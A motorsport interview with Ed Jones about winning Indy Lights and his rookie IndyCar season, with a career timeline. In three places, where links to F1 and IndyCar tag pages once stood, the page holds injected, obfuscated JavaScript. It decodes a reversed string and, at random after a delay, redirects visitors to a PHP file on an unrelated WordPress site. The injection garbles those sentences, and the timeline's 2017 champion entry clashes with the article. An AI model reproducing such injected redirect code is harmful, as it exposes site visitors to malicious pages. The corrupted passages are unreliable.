INTERVIEW. 2016 Indy Lights Champion Ed Jones (UAE)

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By serendipity, Ed’s Formula 3 team, Carlin, was planning an assault on America’s Indy Lights series, and Ed Jones went with them in 2015. Despite a lack of familiarity with US tracks, both he and Carlin shone immediately, winning the first three races of the season. He ended the year third in the championship, and in 2016 scored eight podiums to become Indy Lights champion.

Ed was courted by IndyCar team Dale Coyne Racing before the season had even finished. Next year, he’ll be a rookie teammate to former $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/f1/”>F1 driver and four-time Champ Car champion, Sébastien Bourdais. The prospect of racing in America’s biggest single seater series is a daunting one, but Ed feels he’s ready.

“There’s a lot more to do,” he admits. “The races are a lot longer, you have pit stops and there’s a lot more downforce, as well as tyre management and strategy. It’s a bit more complex from what I’m used to, so it’ll take some time to get used to, but my teammate is very experienced and I’ll learn a lot from him.”

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Ed’s goal in 2017 is to establish himself among the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/indycar/”>IndyCar ranks and secure a seat for 2018. He’s also keeping one eye on other series. 

“I want to be racing at the top level in open-wheel racing and I have an opportunity to do that. It would be nice to do $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/f1/”>F1 but I’d rather do well in IndyCar at the moment. You can’t predict what the future will hold, and who knows – if I have a really good year maybe doors will open [to F1] as well. I’d love to do NASCAR too. It’s so extreme, the atmosphere and the whole style of it looks very different and a lot of fun.”

“It would be nice to do F1 but I’d rather do well in IndyCar at the moment”

That he’s the most successful Middle Eastern racing driver in America at the moment is a fact not lost on Ed Jones either.

“It’s nice to be the first one from the Middle East to do this and hopefully it encourages more young drivers to take on the same thing,” he says. “There are a lot more of them now and it would be nice if I can help and guide them along the same way, to help them make even better decisions than I made. The UAE scene has changed a lot. It’s a lot more professional than when I was racing. The grids are bigger and it’s a better learning place. There are a lot more circuits and the whole sport is growing.”

That said, the Middle East is a young place when it comes to a motorsport, and a national culture of racing is something that Ed believes can’t be artificially created.

“They have all the facilities needed – better than anywhere else in the world, I think,” he says. “But it’s hard to force a racing culture on people; it’ll just take time. And if I can play a part in it, then even better.”

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Ed Jones Steps to the Top
2017 IndyLights champion with Carlin
2016 IndyLights champion with Carlin
2015 IndyLights, third in rookie season with Carlin
2014 FIA Formula 3 with Carlin
2013 Youngest winner of the F3 European Open Championship with WestTec
2012-13 Formula Renault 2.0 Eurocup Series with Fortec Motorsports
2011 Dunlop Intersteps Championship and Formula Renault 2.0 in the UK with Fortec Competition
2010 UAE Junior Rotax Champion
2009 UAE Junior Rotax Champion, winner of Middle East Cup in Egypt, 5th in British Championship
2008 UAE Junior Champion, winner of Middle East Cup in Dubai
2007 UAE Rotax Junior Champion, UAE Rotax Max Challenge Junior Champion
2006 UAE Rotax Junior Champion, UAE Rotax Max Challenge Junior Champion
2005 UAE Cadet Champion
2004 UAE Cadet Champion

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